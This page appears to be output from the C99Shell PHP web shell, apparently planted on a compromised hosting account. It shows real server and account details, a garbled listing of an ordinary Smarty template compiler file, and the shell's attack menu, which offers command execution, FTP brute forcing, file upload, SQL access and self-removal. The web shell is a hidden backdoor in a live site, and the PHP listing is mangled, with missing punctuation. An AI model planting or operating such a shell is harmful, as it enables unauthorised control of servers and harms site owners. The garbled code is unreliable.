!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/musvin.pp.ua/modules-alien/smarty/libs/sysplugins/   drwxr-xr-x
Free 116.75 GB of 200.55 GB (58.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     smarty_internal_compile_private_modifier.php (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty Internal Plugin Compile Modifier
 * 
 * Compiles code for modifier execution
 * 
 * @package Smarty
 * @subpackage Compiler
 * @author Uwe Tews 
 */
/**
 * Smarty Internal Plugin Compile Modifier Class
 */
class Smarty_Internal_Compile_Private_Modifier extends Smarty_Internal_CompileBase {
    
/**
     * Compiles code for modifier execution
     * 
     * @param array $args array with attributes from parser
     * @param object $compiler compiler object
     * @return string compiled code
     */
    
public function compile($args$compiler)
    {
        
$this->compiler $compiler;
        
$this->smarty $this->compiler->smarty;
        
$this->required_attributes = array('modifier''params'); 
        
// check and get attributes
        
$_attr $this->_get_attributes($args); 
        
// check for registered modifier
        
if (isset($compiler->smarty->registered_plugins['modifier'][$_attr['modifier']])) {
            
$function $compiler->smarty->registered_plugins['modifier'][$_attr['modifier']][0];
            if (!
is_array($function)) {
                
$output "{$function}({$_attr['params']})"
            } else {
                if (
is_object($function[0])) {
                    
$output '$_smarty_tpl->smarty->registered_plugins[\'modifier\'][\'' $_attr['modifier'] . '\'][0][0]->' $function[1] . '(' $_attr['params'] . ')';
                } else {
                    
$output $function[0] . '::' $function[1] . '(' $_attr['params'] . ')';
                } 
            } 
        
// check for plugin modifier
        
} else if ($function $this->compiler->getPlugin($_attr['modifier'], 'modifier')) {
            
$output "{$function}({$_attr['params']})"
            
// check if trusted PHP function
        
} else if (is_callable($_attr['modifier'])) {
            
// check if modifier allowed
            
if (!$this->compiler->template->security || $this->smarty->security_handler->isTrustedModifier($_attr['modifier'], $this->compiler)) {
                
$output "{$_attr['modifier']}({$_attr['params']})";
            } 
        } else {
            
$this->compiler->trigger_template_error ("unknown modifier \"" $_attr['modifier'] . "\"");
        } 
        return 
$output;
    } 


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0404 ]--